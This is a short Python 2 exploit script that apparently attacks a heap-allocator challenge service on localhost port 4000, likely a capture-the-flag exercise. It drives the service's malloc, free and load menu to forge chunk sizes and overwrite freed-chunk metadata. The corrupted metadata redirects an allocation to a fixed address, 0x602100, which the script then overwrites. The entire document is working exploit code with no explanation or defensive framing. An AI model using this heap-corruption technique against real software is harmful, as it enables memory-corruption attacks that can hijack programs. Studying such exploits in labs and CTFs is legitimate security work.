import socket
import struct
q = lambda x: struct.pack("Q", x)
s = socket.create_connection(("127.0.0.1", 4000))

def malloc(sz):
  s.send("1\n%d\n" % sz)
  dat = s.recv(8192)
  print dat
  if "OK" in dat:
    return int(dat.split("\n")[0])
  else:
    return None

def free(idx):
  s.send("3\n%d\n" % idx)
  print s.recv(8192)

def load(idx, dat):
  s.send("2\n%d\n%d\n" % (idx, len(dat)))
  s.send(dat)
  print s.recv(8192)
  
# set thingy to 0x21
MAGIC = 0x21
for i in range(MAGIC-2):
  malloc(0x10)

t1 = malloc(0x10)
t2 = malloc(0x10)

free(t1)
free(t2)
load(1, (q(0)*3+q(0x21))*(MAGIC-1)+q(0x602100-8))

malloc(0x10)
good = malloc(0x10)

load(good, "a"*0x100)

load(1, "swag")



